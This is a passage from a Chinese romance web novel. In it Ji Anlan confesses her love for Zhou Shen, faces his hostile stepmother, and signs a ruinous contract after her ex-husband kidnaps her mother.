纪安澜张了张嘴,想要安慰他,可又不知道从何说起,更不知道以什么身份来安慰。
周慎将一颗真心掏出来给她看,她却临时退缩,她对不起这颗真心,更没有资格安慰他。
收敛起脸上的神情,纪安澜垂下眼睫,没有胃口吃饭。
她将碗筷收拾了,从厨房出来时,发现周慎已经上楼休息。
看着空荡荡的客厅,纪安澜心里产生一丝失落感。
她强打起精神,拍了拍脸颊,回到客房,准备休息,可躺在床上翻来覆去都睡不着觉,也不知挣扎了多久,纪安澜实在是毫无睡意,于是从床上爬了起来,去客厅打算喝点水。
突然,楼上传来了一阵痛苦的闷哼声。
纪安澜快步跑上楼,声音正是从周慎房间传来的。
敲了敲门,没有人应,纪安澜心里着急,推门走了进去,迫不及待地打开主卧的门,痛苦的闷哼声越来越清晰。
打开灯,只见周慎脸色通红,呼吸急促,靠近了些,发现他额头上满是细密的汗珠,紧闭着眼睛,表情很是痛苦。
“周慎,你怎么了?”
纪安澜心提到了嗓子眼,赶紧叫了他一声,他却没有任何反应。
手掌放在他的额上,滚烫的温度,让纪安澜心头一颤。
周慎发烧了!
“周慎,醒醒!快醒醒!”纪安澜拔高了音量叫他,想让他保持清醒,好带他去医院。
周慎艰难地睁开眼睛,眼眯成一条缝,眼神涣散,声音哑得仿佛被砂纸打磨过,“澜澜……”
他无意识地呓语了一声,又再次沉沉地睡了过去。
手紧握着纪安澜的手腕,滚烫的温度让纪安澜心里越发担心。
这样还怎么去医院?
刚才来得太急,忘记带手机了。
纪安澜目光落在旁边桌子上,看见了周慎的手机。
她拿过来打开,打算叫个救护车。
突然看到通讯录有一个熟悉的人名。
——顾晏池。
像是抓住了救命稻草,纪安澜没想那么多,直接拨打了过去。
电话很快被接
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通,那头传来了顾晏池不悦的嗓音:“大半夜的不睡觉,干什么?”
“顾医生,周慎发烧了!可能是刚才洗澡不小心让伤口感染了,你能不能现在来一趟?他现在昏迷不醒,我担心他的安危!”
纪安澜语气急切,声音轻颤,大脑有些混乱,还是尽可能地表达清楚。
听见纪安澜的声音从电话那头传来,顾晏池特意看了一下来电显示。
确实是周慎的手机号。
他们两个**半夜怎么会在一起?
受伤?洗澡?感染?发烧?
这几个词加在一起,不就是妥妥的偶像剧情节吗?
难不成是生米煮成熟饭了?
还以为周慎是块木头,没想到这么快下手了。
既然都已经到这个节骨眼上,身为兄弟的他,不可能不帮这个忙。
发烧死不了人。
但是错过了缘分,那可就是一辈子的事。
宁拆一座庙,不毁一张亲。
这个忙他帮定了!
顾晏池清了清嗓子,躺在床上,一本正经地撒谎:“实在不好意思,我这边有个紧急手术,走不开,不如你先照顾着他。”
顿了一下,又不放心地补充了一句:“他身体强壮,发烧死不了人,你可以给他物理降温,还有喝点退烧药就行,我忙完了再赶过去。”
话音刚落,不等纪安澜回答,直接挂断了电话。
独处的机会已经给你创造了,就看你自己能不能把握得住了。
顾晏池唇角上扬,眼底满是戏谑。
纪安澜一脸担心地看着昏迷不醒的周慎,心揪作一团,按照顾晏池说的方法,用毛巾蘸了凉水,敷在他的脸上,看着他裸露在外的胸膛,纪安澜一咬牙,也帮他擦了擦。
又在他家里翻找了许久,找到了退烧药,费了九牛二虎之力,周慎就是喝不进去。
纪安澜无奈之下,只好一口灌进感冒药,下定决心一般,俯身而下,嘴对嘴给他喂了进去。
周慎仿佛有所感应,伸手一把搂住了她的腰,将他紧扣在她的身上,她灼热的体温熨烫着纪安澜身体的每一寸肌肤,纪安澜想挣扎着起身,却被他抱得更紧了。
第119章 娶个二婚
纪安澜感觉浑身被桎梏住,身体动弹不得,他的力道大得惊人,仿佛要把她融进骨血里,男人将头埋在她的颈窝,温热的鼻息洒在她的脖颈处,一股难以言喻的酥麻感,让她浑身一颤。
“周慎,你放开我……”
话音刚落,他抱得更紧了。
窒息感让纪安澜快要喘不上来气,他的气息越发滚烫,纪安澜实在担心他,用尽全力挣脱他的怀抱,身上大汗淋漓。
忙了一整晚,直到天刚蒙蒙亮,纪安澜实在是太累了,趴在床上,沉沉睡去。
翌日。
清晨,周慎缓缓睁开双眸,视线落在了趴在床边的纪安澜脸上。
他鼻息间发出均匀的呼吸声,长长的眼睫在脸上投下一小片的阴影,巴掌大的小脸有些苍白,看起来惹人怜爱。
缓缓坐起身,毛巾从身上和头上掉落。
纪安澜照顾了他一晚上?
难道昨天晚上不是在做梦?
目光落在纪安澜脸上,他的心脏仿佛被什么东西猛烈撞击了一下,一股难以抑制的情绪,仿佛藤蔓一般快速滋长。
定定地望着她苍白的小脸,他眼底的冰冷逐渐消融,取而代之的是浓浓的异动。
下意识地伸出手,想要去触摸她的脸颊。
可就在这时,纪安澜猛然睁开眸子。
正撞入他那双温柔的眼睛里。
周慎的动作僵硬在原地,纪安澜目光落在了他伸出来的手上,周慎有些尴尬地盯着她,迅速地抽回手。
“你醒了?”冷冰冰地说了一句,周慎收敛起脸上的神情,想要掩盖内心的悸动。
可刚才周慎那温柔如春的眼神,她又怎么可能注意不到?
纪安澜装作不知,轻声问道:“身体感觉怎么样?有没有哪里不舒服?”
“没……”
周慎话锋一转:“有些难受,又说不上哪里难受。”
他怕纪安澜离开。
“难受?那得好好问问顾医生了,他说帮你物理降温,喝点退烧药就好了。看来还是得请他来看看,要不然就去医院。”
“顾医生?顾晏池?”周慎疑惑地皱眉。
纪安澜点了点头:“昨天晚上联系他,说是有一个紧急手术要做,没办法来,说不定现在他有空来一趟,你打电话叫他来吧。”
顾晏池,晚上有手术要做?
他从来都不上晚班,怎么可能会有手术要做?
找借口也不打个草稿。
也就只有纪安澜信他。
“不用他来。”周慎冷冰冰地说了一句,看着纪安澜一副等不及要走的模样,他别过头,语气冷漠。
“你要是想走,现在就走,没必要假惺惺的。”
冷漠的话语跟他刚才的表情判若两人。
纪安澜知道,这不是他的真心话。
她唇角微勾,笑着说:“我既然说了要报答你,又怎能半途而废?我就要在这里照顾你。”
纪安澜黑白分明的眼眸里写满了倔强。
周慎回眸看她,盯着那双澄澈的眸子,眼底的情绪快要压制不住。
他赶紧错开视线,冷冰冰地开口:“随便你!”
“你先量一下体温,我去给你做点清粥和小菜。”
纪安澜把体温计递给周慎,抬脚往楼下走去。
周慎担心纪安澜离开,赶紧跟了上去。
纪安澜刚一下楼,就听见了门被打开的声音。
朝着门口的方向看,只见一个身着栗色旗袍的女人走了进来,胳膊上挂着披肩,手腕上挽着一个精致的小包,看起来非富即贵。
女人的目光落在纪安澜脸上,原本探究的神色立刻变得凶狠,眼底满是厌恶与鄙夷。
“你怎么会在这?”周慎的继母声音尖锐刺耳。
“谁让你来这里的?赶紧滚!上不了台面的东西,也配跟我们周家扯上关系?”
她想把纪安澜赶走,语气恶毒。
“这位女士,请你放尊重点。”纪安澜面色一沉,冷冰冰地看着她。
“放尊重点?”继母冷笑了一声,眼底满是嘲讽。
“像你这样不三不四的女人,毫不知检点,随便就在别的男人家里过夜,也配让我尊重你?就算你跟江容川离婚了,也不能勾搭我们周家的人!”
她视线上下地打量了一番纪安澜,眼底满是
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不屑。
“像你这样离了婚的女人,还妄想飞上枝头变凤凰,也不撒泡尿看看你配不配。”
若是换做以前,这些话根本就打击不到她。
可自从知道了她对周慎的心思后,纪安澜自惭形秽,正因为如此,所以才拒绝了周慎。
她离了婚,十几年的感情全都给了一个渣男,就算现在已经清醒过来,可那十几年并不是说没就没的,在外人看来,她根本就配不上周慎。
不仅是外人,连她自己都这么觉得。
继母的话就犹如一根根针,狠狠地扎进了纪安澜的心脏。
她脸色惨白,站在原地,手指紧握成拳,因用力骨节泛白。
“赶紧离开这里,我们周家不欢迎你,以后不许再缠着周慎,否则……”
威胁的话还没有说出口。
一道低沉而又洪亮的嗓音,打断了她的话:“否则怎么样?”
周慎快步走到纪安澜身旁,垂眸看她。
原本就苍白的小脸,现在血色尽失。她低垂着眉眼,一副羞愧的模样。
看到纪安澜这副表情,他心里仿佛被什么攫住,眼睛里充满了心疼。
伸手搭在了纪安澜的肩上,将她揽入怀中。
周慎宣示**般,冷声道:“我就是喜欢纪安澜,别的女人我看不上!”
此话一说出口,在场的两人纷纷都震惊地看着他。
纪安澜瞪大眼睛,眼底满是不解。
在长辈面前,周慎居然也能说出这样的话来?
迎着纪安澜满是震惊的眸子,周慎笑着看着她,眼睛里的温柔仿佛融化了的冰雪。
“还有,不是她缠着我,是我缠着她!我喜欢她,想跟她共度余生,我要跟她去领证!”
温柔的话语仿佛温柔的手掌心托举着她千疮百孔的心脏,温柔地包裹着她,让纪安澜大脑一片空白,呆愣在原地。
听到最后一句话时,纪安澜瞳孔骤缩,仿佛不敢相信自己的耳朵。
领证?
周慎说要跟她领证?
“什么?”继母脸色铁青,颤抖着手指指着他,“你……你要娶一个二婚的女人?”
第120章 我喜欢你
“在我心里,她只是纪安澜,没有多余的前缀。”
说话时,那双深邃的眼眸泛着一层柔光,定定地盯着纪安澜,眼底的温柔仿佛融化的冰雪。
纪安澜鼻子一酸,泪水在眼眶里打转,回望着他,心里仿佛涌起一丝暖流,那股被压抑的感情瞬间冲破枷锁,再也克制不住,在心里疯狂地滋长。
她所认为的身份芥蒂,原来在周慎心里什么都不是。
她所自惭形秽的,周慎也不在乎。
那她到底在抵抗什么?
面对着他满腔热忱的爱,纪安澜羞愧得无地自容,目光紧紧地看着他,生怕眼前的他是不真实的。
“你别被她骗了!像她这种女人,眼里只有利益,就不可能会真心对你!她想要的就是我们周家的财产,你可不能上当!”
继母拔高了音量,目光冷冷地瞪着纪安澜,恨不得一个眼神将她灭了。
“够了!”周慎,漆黑的眸翻涌着滔天的怒火,冰冰地吐出两个字。“我的女人还容不到别人来诋毁。”
话音刚落,大手包着纪安澜的小手,拉着她往外走。
路过继母身边时,冷冰冰地开口道:“让一让。”
周身笼罩着冷冽的寒气,继母被他的气势吓了一跳,敢怒不敢言地踉跄了一步,眼睁睁地看着两个人离开了视线。
“我们去领证。”
冰冷的声音没有一丝温度,像是说给纪安澜听的,又像是说给继母听的。
纪安澜愣愣地看着他的侧脸,棱角分明,像是女娲的炫技之作,走出门口时,柔光照耀在她的脸上,显得那张脸越发的精致。
继母气急败坏,气得浑身发抖。
“你要跟一个二婚的女人领证?我不同意!我坚决不同意!”
她拼命地扯着嗓子喊着,可是两个人已经走远,压根就没有听见她的话。
继母身子跌跌撞撞向后退了两步,坐在了沙发上,气得胸口剧烈地起伏着,大口地喘着粗气。
手指紧握成拳,眸子里充满了愤怒。
“纪安澜想进我们周家的门?绝不可能!绝对不会允许一个二婚的女人登堂**!”
与此同时,纪安澜也坐上了周慎的车。
车子急速行驶,周慎一言不发,骨节分明的手搭在方向盘上,另一只胳膊托着腮,一副漫不经心的模样。
纪安澜定定地看着他,心乱如麻。
刚才只觉得心跳如擂鼓,快要跃出胸膛。如今狭窄的车厢里只剩下两人,看着那近在咫尺的脸,纪安澜欲言又止。
周慎刚才说的到底是气话还是真话?
他要带她去领证?
可她到现在还没有想好。
想到刚才周慎的反应,确实很感动,也已经确定了对周慎的心意,可现在就领证是不是太快了?
一路上,纪安澜踌躇不已,纠结很久也没有说出口。
车子停下。
纪安澜骤然回过神来,朝着外面看了一眼,目的地居然不是民政局!而是半山别墅。
惊讶地推开车门,走下去,纪安澜好奇地扭头看向同样下车的周慎:“刚才不是说要去领……”
他说到一半,没有继续再说下去,纪安澜双颊微红。
“我知道你不想领证,我尊重你的意愿,刚才只是想要打发我继母。”
听到这句话,纪安澜眼中划过一抹失落。
原来他说的都不是真的。
细微的表情落在周慎眼中,他声音低沉:“若是没事,我就先走了。”
话音刚落,转身就走。
“等等!”纪安澜脱口而出,叫住了他。
周慎眉头微蹙,停下脚步。
转头的刹那,小小的身影奔跑过来,踮起脚尖,伸手揽住了他的脖子,温柔的唇贴了上来。
柔软的触感在唇间蔓延,周慎身子僵直,眼睛瞪得浑圆,眼底充满了不可置信。
纪安澜的吻笨拙而又颤抖。
周慎以为她是不情愿,轻轻地推开了她,强压下心底翻涌的情绪,声音喑哑:“你要是勉强就算了。”
“我喜欢你!”纪安澜眼神坚定,目光灼热,似火烧般,仿佛用尽了全身的勇气说出这四个字。
看着那双黑白分明的眼眸,周慎终于确定了纪安澜的心意。
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他终于不再克制内心的悸动,伸手把她揽入怀中,冰凉的唇贴在了她的唇上,撬开贝齿,加深了这个吻。
男人紧紧拥住她,仿佛像得到了失而复得的宝贝,冰凉的唇轻轻描摹着她的唇形,动作小心而又火热,鼻息间充斥着一股熟悉的冷木香,纪安澜只觉得浑身软绵绵的,在他的怀里逐渐失去了理智,只剩下了最原始的感情。
过了许久,直到纪安澜天旋地转,吻得快要喘不上来气,周慎这才不舍得地松开了她。
漆黑的眸落在她的脸上,两颊通红,像熟透了的番茄。
“你会后悔吗?”他不确定地追问了一句。
纪安澜摇头,指尖落在了他的唇上,眼底满是贪恋。
“不会,周慎,这一次,我不会再放开你的手!”
语气坚定,表情认真,一字一句,字字铿锵有力。
听到这句话,周慎呼吸更加急促了些,黑眸沉沉地锁住她,声音低沉而又嘶哑:“你不怕吗?不怕这又是一座像之前婚姻一样的坟墓吗?”
盯着那双充满期待的眼眸,纪安澜摇了摇头,眼神越发地坚定。
“不怕!我相信你!你的爱意我感觉到了,我的爱,希望以后也能让你感觉到。”
她知道周慎跟江容川不一样,否则当初也不会豁出性命救她。
那13年的感情,就当是喂了狗。
她一门心思地扑在江容川的身上,到头来换来的是小三登堂**,是背叛,是家破人亡。
一切只是因为江容川不值得。
可她知道眼前的男人不同。
他们两个彼此相爱,她能感觉到周慎的感情真挚而又深沉,之前之所以拒绝,是因为自惭形秽,更是害怕结婚。
今天,她终于看清楚了自己的心。
她爱周慎!
她绝不会放手!
“等着我。”纪安澜认真地盯着周慎,“等我跟他彻底离了婚,拿到了离婚证,我们就可以光明正大地在一起了。”
周慎原本勾起的唇,瞬间垮了下去,不悦地皱着眉:“你该不会是想让我做见不得人的地下情人吧?”
第121章 **
“有何不可?”纪安澜忍俊不禁。
想到周慎曾说,让她做他的情人,气不打一处来。
“你之前不也是这么说的?”
“那不一样,那是靠近你的手段。”周慎语气沉沉,很明显对现状不满。
听了这话,纪安澜微微一愣,唇角上扬。
原来周慎很早就打起了她的主意。
想到第一次见面时,他装的一副生人勿近的模样,现在想来,有些搞笑。
看着纪安澜笑意盎然,周慎疑惑地看着她:“还笑?赶紧把离婚证领了!我可不想没名没分。”
说着,倾身而下,冰凉的唇贴在了纪安澜的唇上。
只是如蜻蜓啄水般,赶紧松开了她,漆黑的眸子里翻涌着强压制的情欲。
看着他的反应,纪安澜两颊更加火热,清了清嗓子:“我先回去了,明天见。”
丢下这句话,不等周慎回答,赶紧逃也似地往家里跑。
周慎定定地站在原地,看着纪安澜的背影,薄唇微勾,眼底是隐藏不住的惊喜。
直到纪安澜的身影消失在视野里,他这才不舍地转身上了车。
纪安澜也不知道怎么回到家里的,心脏狂跳不止,如小鹿乱撞一般,好像下一秒就会跳出胸膛。
想到周慎那张脸,心里既激动又开心,刚刚分别一会,就又开始想念他了。
掏出手机,下意识地想要给他打个电话。
这时,手机铃声急促地响起。
来电显示上显示的居然是江容川。
他打电话来干什么?
纪安澜皱着眉头不悦地接起电话。
电话那头,江容川的声音沉静:“有时间见一面,我要跟你谈个合作,希望你能帮**解决这次经济危机。”
听到这些话,纪安澜好像听到了天大的笑话。
“江容川,你是疯了吗?我不是之前就告诉你了,不可能吗?”
纪安澜毫不犹豫地拒绝。
江容川沉默一瞬,声音冷了几分:“你要不要先确定你母亲的位置,再决定要不要跟我合作?”
听到这句话,纪安澜心一下子提到了嗓子眼,瞳孔骤缩:“江容川,你做了什么?”
电话那头传来了一声冷笑。
“没什么,就是叫人把她绑走了。”
云淡风轻的语气,让纪安澜脸色唰地一下白了,她赶紧用另外一个手机给疗养院打电话,确定了母亲消失不见,心一下子沉到了谷底。
她计划了所有的一切,以为可以完美地压制江容川。
可却低估了江容川的卑劣程度。
为了复兴**,江容川无所不用其极!
“怎么样?有兴趣见一面了吗?”江容川胜券在握的语气从电话那头传来。
“时间地点你来定,我有时间。”
纪安澜语气急切,努力地克制着内心的情绪。
“看你挺急的,不如半个小时后,在暮色咖啡厅见,你觉得如何?”
“好!”纪安澜想都没想,立刻答应,拿起包就往外面赶。
路上,纪安澜心急如焚,害怕江容川情急之下会对母亲痛下**。
她已经失去了父亲,不能再失去母亲!
火急火燎地赶到暮色咖啡厅,视线快速地在人群中搜索着,很快地就锁定在了江容川身上。
纪安澜迅速地冲过去,站到他面前,冷声质问:“我妈呢?”
“急什么?坐下来好好谈谈。”江容川淡淡地抬眸看她,语气轻松。
纪安澜根本没时间跟他耗,冷冰冰地开口:“我要见我妈!”
看着她一副急不可耐的模样,江容川掏出手机,播放了一个视频。
那是个直播视频,画面里显示母亲被绑在天台上,旁边还有个人在看着。
纪安澜脸色瞬间毫无血色,瞪大眼睛,不可置信地瞪着他,气得浑身颤抖:“江容川,你疯了吗?你知不知道这么做是犯法的?”
听到这句话,江容川唇角上扬了一抹残忍的弧度,冷冰冰地看着纪安澜。
“犯法?”他冷哼一声:“当初对我下套的时候,可没有想过,你做的事情也是犯法的?”
纪安澜脸色一黑,冷声道:“项目给你的时候根本就没问题。”
“谁知道呢?”江容川冷冰冰地说了一句。
“反正眼下**出了**烦,马上濒临破产,只有你能救**了,只要你
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肯出手相助,你就可以救下你的母亲。”
说罢,江容川的语气冷了几分:“又或者说,你想对你母亲见死不救?”
话音刚落,那守在母亲身旁的人,竟然妄图想要把母亲从天台上推下去。
“不要!”纪安澜大叫了一声,凄厉的叫喊声吸引了不少人的注意力。
纪安澜大口地喘着气,瞳孔骤缩,眼睛里充满了惊恐。
江容川冷笑一声,吩咐那人:“没有我的命令,不许动手。”
视线落在了纪安澜脸上,巴掌大的小脸毫无血色,眼睛一眨不眨地盯着手机屏幕,眼底的担忧快要溢出。
把面前的文件推向纪安澜,冷冷开口:“智慧机器人的损失由纪氏全部承担,只要你签下这个合同,我就放过她。”
纪安澜目光如同一把利刃狠狠地刺向了江容川。
江容川一次次地刷新她的认知下限,纪安澜那颗心,早就心灰意冷,对他不仅不抱任何希望,甚至后悔当初怎么瞎眼看上了他。
事到如今,母亲在他手中,她别无他法,能选择妥协。
纪安澜冷冰冰地瞪了他一眼,毫不犹豫地拿起笔,签下了合同。
直起背脊,纪安澜垂眸看他,声音冷冽,仿佛淬了冰。
“我妈在哪!”
江容川满意地看着合同上纪安澜的签名,掏出一张纸递给纪安澜。
纪安澜把纸夺了过来,看了一眼,飞快地跑出了咖啡厅,不带有一丝留恋。
看着纪安澜的背影,江容川眼底划过一抹失落。
手指紧握着那份文件,墨染的眸子微微一沉。
“纪安澜,别怪我心狠!要怪就怪你动了**,你放心,只要你选择跟我在一起,以后,我会让你过上想要过的生活。”
指尖在文件上摩挲着,江容川幽深的眸子越发的阴沉。
纪安澜快马加鞭赶到了江容川给的地址,原本守在母亲身边的人已经不见,她拼了命地跑过去,查看母亲是否受伤,见她安然无恙,抱着她痛哭。
“对不起,是我害了你!是我太轻敌了,妈,你放心,我一定会拿回属于我的东西!绝对不会让江容川得意!”
第122章 负责**所有的赔偿
纪安澜又重新安置了林惠敏,娟姐百般道歉,眼神里充满了愧疚,觉得是他没有保护好林惠敏。
纪安澜并没有怪她,她知道娟姐根本无法对抗江容川。
他这个人太过卑劣,连她都没有想到,江容川竟卑劣地对她的母亲下手!
这次是她太大意了,以后绝对不会让江容川有机可乘。
纪安澜的目光落在娟姐身上,拉起她的手,柔声道:“这里暂时很安全,你继续照顾我母亲,我相信你!”
“澜澜,你放心,我绝对不会犯上一次的错!”
看着娟姐眼神坚定,纪安澜用力点头,眼神也愈发的坚定。
不仅是娟姐,她也不会再犯同样的错误!
只是既然签订了不平等的合约,就是要面对**。
纪安澜刚回到纪氏,几个股东就围了过来,不要召开股东大会。
纪安澜站在最前面,几个股东劈头盖脸就是一顿指责。
“纪安澜,你竟然敢签那么不平等的条约?”
“纪氏负责**的所有赔偿?你难道是想把纪氏挖空吗?还是说想要帮江容川转移资产?”
“说你跟江容川已经离婚了,怎么能吃里扒外,帮着一个外人来害自己的公司?”
一声声指责,仿佛一根根绵密的针扎进了纪安澜的心口。
她又何尝不希望纪氏好?
可是,在母亲和公司之间做选择,她没得选。
江容川知道她心里在乎母亲,所以笃定纪安澜会签下协议。
好在,只不过是赔偿智慧机器人项目的损失,她可以想办法解决。
股东们你一言我一语,指责和质疑声响彻了整个办公室。
他们脸上满是愤怒和失望。
纪安澜静静地立在原地,脸色苍白,毫无血色,依旧挺直脊背。
她知道,现在无论什么解释都显得苍白无力。
见股东终于骂累了,纪安澜对着他们深深一鞠躬,语气坚定:“对不起,这次是我的失误。”
听着纪安澜的道歉,股东们冷笑:“一句道歉难道就要让我们公司损失这么严重?纪氏是我们所有人的心血,不是你一个人的!”
纪安澜点头,扫了一眼众人。
“这次的损失算在我的身上,我保证一个月内绝对会让纪氏补上所有的亏空。”
话一说出口,所有的人都震惊了,瞳孔骤缩,眼底充满了不可置信。
“她真是什么样的海口都敢夸下。”
“听说这一次的亏空可不是个小数目,纪安澜能在一个月里补足亏空?怎么就不信呢?”
“要是纪安澜真的有这个能力,又怎么会**家扫地出门?我看她就是吹的,就是想要拖延时间。”
股东没有一个人肯相信纪安澜,他们眼睛满是嘲讽和怀疑。
而纪安澜面对着他们的怀疑,眼神愈发坚定。
“请各位股东相信我一次,我一定会如约帮纪氏补上窟窿,要是做不到,我愿放弃手上所有的股份。”
话音刚落,大得一个办公室鸦雀无声,所有的人面面相觑,没想到纪安澜真的敢赌这么大。
他们有一瞬间的怀疑纪安澜是否真的能够补齐漏洞。
可是有个股东却觉得纪安澜是在说大话。
他猛地站起,颤抖着指着纪安澜:“你就算是想放弃所有的股份,难道也不愿意撕掉那一纸协议吗?你跟江容川毕竟结过婚,他不看僧面看佛面,也不应该让你来承受这么大的损失。”
轻巧的话谁都会说。
他们压根就不知道发生了什么,也不明白纪安澜的情非得已。
纪安澜语气淡然:“协议就是他提出来的,找他没有用,与其靠别人,不如靠自己,只要你们肯给我一个月,我一定会证明我是没错的。”
听到这句话,众位股东鸦雀无声,面面相觑。他们不知道是否该相信纪安澜,毕竟若是纪安澜拿股份相赌,他们是不亏的。
而那个站起来的股东,见他们没有任何反应,气得当场晕了过去。
所有的人都吓了一跳,赶紧走过去抢救,救护车二十分钟赶到,把气得脑溢血的股东带去了医院。
会议室陷入一片混乱,纪安澜轻拧着眉心,脸色难看至极。
好不容易将其他股东的情绪安抚,纪安澜一个人瘫
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坐在了办公室的椅子上,瞬间被疲惫席卷了全身。
一个月内补足窟窿,说起来容易,做起来难。
纪安澜闭目养神,思考着怎样才能在一个月内挣那么多的钱。
这时,急速的电话铃声打扰了纪安澜的思绪。
电话是姚姿打来的。
“澜澜,我马上就要结婚了,你能不能来陪我试个婚纱?”
她愉悦的语气从电话那头传来。
纪安澜想都没想就答应了,赶紧赶往了目的地。
市内最高档的婚纱定制馆里,姚姿正兴致勃勃地试着一件又一件的婚纱。
洁白的婚纱穿在她的身上,犹如仙子下凡,姚姿在镜子面前,优雅地转了个圈,裙摆翻飞,像她此刻喜悦的心。
“我觉得这件挺好的,有一点青春活力感。刚才那一件太古板了,我不喜欢。还有一件,感觉袖子太大,衬不出我的身材。”
姚姿喋喋不休地说着,想要听纪安澜给她意见。
回过头,却发现纪安澜愣愣地坐在原地,眼神空洞,似乎在想事情。
姚姿看着纪安澜一脸没精打采的模样,赶紧走过去,担心地盯着她看。可看了许久,见纪安澜也没有任何反应,她伸手在纪安澜的额间探了探。
还好没有发烧。
冰凉的触感在额间蔓延,纪安澜恍然回过神来,看到姚姿一脸担心,她勉强地勾了勾唇。
“你不去试婚纱,在这里干什么?”
看来刚才他说的话,纪安澜一个字也没有听进去,姚姿忍不住叹了一口气。
“澜澜,你这是怎么了?从一进门就心不在焉的,是不是出了什么事?”
看着她一脸担心,纪安澜无奈下,只好把发生的事一五一十地告诉了她。
姚姿一听,脸色骤变,拍案而起。
“这个江容川也实在是太不要脸了吧!竟然敢打阿姨的主意!实在是太过分了!”
她生气之余,掏出手机,摆弄了一阵。
纪安澜的手机短信铃声响起。
打开一看,是转账记录,上面有数不清的0。
而给她转账的人不是别人,正是姚姿!
第123章 还想勾搭我第二个儿子
纪安澜眼睛瞪得滚圆,不可置信地看着姚姿。
“你给我转钱干什么?还转那么多?”
以为姚姿手滑点错了,想要转给她。
姚姿立刻阻止她:“区区六个亿,都是小钱,我这些年接广告、拍电视剧,攒了不少钱,你先拿去用,当我借你的。”
她语气轻松,借6个亿,就跟借6块钱一样简单。
“你不怕我不还你?”纪安澜皱眉,表情有些为难。
这毕竟是6个亿。
“我相信你,更相信你能让纪氏起死回生!”姚姿目光灼灼,漆黑的眸子亮晶晶地盯着纪安澜,眼睛里满是期待和信任。
纪安澜心里涌起一丝暖流,握着手机,站在原地,一脸感动地看着她。
眼见着纪安澜快哭了,姚姿拉着她的手,神秘兮兮地眨了眨眼睛:“这6个亿可不是白借的,你得答应我一个要求。”
“什么要求?”纪安澜疑惑,
“你来做我的伴娘!”一字一句,语句清晰。
纪安澜呆愣在原地,赶紧摇了摇头。
“不行,我不行……”
她已经结过一次婚了,怎么能做伴娘?
在周慎继母的眼中,她就是个“二手女人”,姚姿刚结婚,她若是以伴娘的身份参加婚礼,怕是会惹人闲话。
看着纪安澜低垂着眉眼,一副自惭形秽的模样,姚姿立马拉住她的手,认真地盯着她。
“怎么不行?除了你,没人能做我的伴娘!”
掷地有声,字字铿锵有力,她的表情认真,带着不容人置喙的坚定。
盯着那双眸子,纪安澜眉头微蹙,满脸为难。
“不就是离个婚吗?那又怎么了?你在我心里就只是我的闺蜜纪安澜,不是任何人的附属品,我不管别人怎么看,反正,你这个伴娘我要定了!”
话音刚落,姚姿任性赌气地说道:“你要不来,我就每天在婚礼教堂等着你,直到你来,我再把婚礼举行完成。”
“这不是胡闹吗?”纪安澜鼻子一酸,眼眶微红,滚烫的泪水顺着脸颊滑落,看着姚姿一脸任性又认真的模样,纪安澜忍不住破涕为笑。
“你答不答应?”姚姿急了。“别以为你哭了我就会放过你,我决定的事不会更改!”
“我答应你!我做你的伴娘。”纪安澜勾了勾唇,眼底的感动快要溢出。
姚姿一听,喜上眉梢,立刻抬手给纪安澜擦眼泪。
就在她抬手的瞬间,胳膊上的白纱滑落,露出手臂上一道狰狞的淤青。
纪安澜眼疾手快地抓住了她的手臂,纤细的藕臂上那抹青紫色,看起来触目惊心。
仔细一看,还真是淤青。
“你的伤是怎么回事?”
姚姿脸色唰得一下白了,眼神闪烁,慌张地把白纱再次放下,遮住淤青,勉强勾了勾唇,解释道:“一点小伤,之前拍戏的时候不小心磕到的。”
磕到的?
纪安澜紧皱着眉,眼神也变得锐利。
这伤可不像是磕到的,像是被人打的!
而且,这不是旧伤,是新伤!
“什么时候的事?我怎么不知道?”纪安澜继续追问,表情急切。
姚姿眸光闪烁,不敢直视纪安澜的眼睛,似乎怕她担心,掀起眼眸,盯着她:“我没事,养几天就好了,好了,不说这个了,快帮我挑挑婚纱吧。”
见他转移话题,一副不想提起的模样,更加加深了纪安澜心里的怀疑。
姚姿向来眼睛里容不得沙子,就是被人欺负,肯定当场就报复回来。
能让姚姿如此瞒着,那就只有一个人。
周霆云!
难道是周霆云干的?
纪安澜眉头微蹙,被姚姿拉着去看婚纱,仔细盯着那张嫩白的小脸看,似乎有些憔悴。
她跟周霆云之间是不是发生了什么?
张了张嘴,欲言又止。
看着她嘴角的笑意,纪安澜不忍心泼了凉水,既然姚姿不愿意开口提起,那就只能偷偷找证据了解情况。
从婚纱店离开后,纪安澜立刻驱车赶往周家老宅。
刚一下车,迎面就撞见了周父和周慎继母。
两人一看见纪安澜,笑容僵硬在脸上。
周父面色瞬间变得阴沉,
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一脸不悦,语气冷得仿佛淬了冰:“谁让你来这的?”
继母也在旁边帮腔:“这是周家老宅,不欢迎你!赶紧滚!一个二婚的破烂货,别想玷污我们周家的门楣?快滚!省得脏了我的眼。”
之前就已经见识过继母的刻薄,这些话,纪安澜压根就没听进心里去。
“我来,自然是有事。”纪安澜语气淡淡,背脊挺直,目光扫视着两人,脸上的表情波澜不惊。
“有事?”继母冷笑一声。
“你还想要什么好处?想从我们周家捞点钱?”她一脸嘲讽地盯着纪安澜看:“上次在御景豪庭,周慎维护你,说是要跟你领证,证领了吗?”
她早就打听过了,纪安澜的离婚证还没下来,不可能跟周慎领证,否则就犯了重婚罪。
想来上次周慎只是为了气她,压根就没有把这个女人放在眼里。
他那么心高气傲,怎么会喜欢上一个二婚的女人?
“你好像很期待我跟周慎领证?”纪安澜不答反问。
既然继母如此不待见她,说话刻薄,她可不能任人欺凌,尽管这是在周家的地盘上。
“你……你胡说八道什么?像你这样的女人,根本就不配进我们周家!”继母拔高了音量,眼底的嫌恶快要溢出。
她上下地打量了一番纪安澜,眼中充满了嫌弃。
“你不值钱地找上门,不就是想找周慎吗?我告诉你,他不在!就算是他在家,我也不可能让你跟他见面!”
继母边说着,边冷声嘟囔:“什么样的女人都想进我们周家?也不撒泡尿看看自己到底配不配。”
她的音调拔高,下了逐客令:“赶紧滚!我不想看见你!”
说着,她拉着周父打算进门。
“我不是来找周慎的,我要见周霆云。”
纪安澜语气清冷,表达了来意。
两人疑惑地皱眉,转头,不可置信地盯着纪安澜。
看着她一副云淡风轻的模样,周父脸色难看,面色阴沉可怕,震怒道:“找霆云?你勾引了我一个儿子不够,难道还想勾搭第二个?”
第124章 留下她
“你还想打霆云的主意?简直是痴心妄想!”继母脸色骤变,神情激动,脸胀得通红,气得胸口剧烈地起伏着,恨不得马上就把纪安澜轰走。
“我儿子的结婚对象是个大明星!你也不撒泡尿照照你自己?能跟大明星比吗?赶紧滚!别在这里碍眼!”
语气中的嘲讽和刻薄,丝毫不加掩饰。
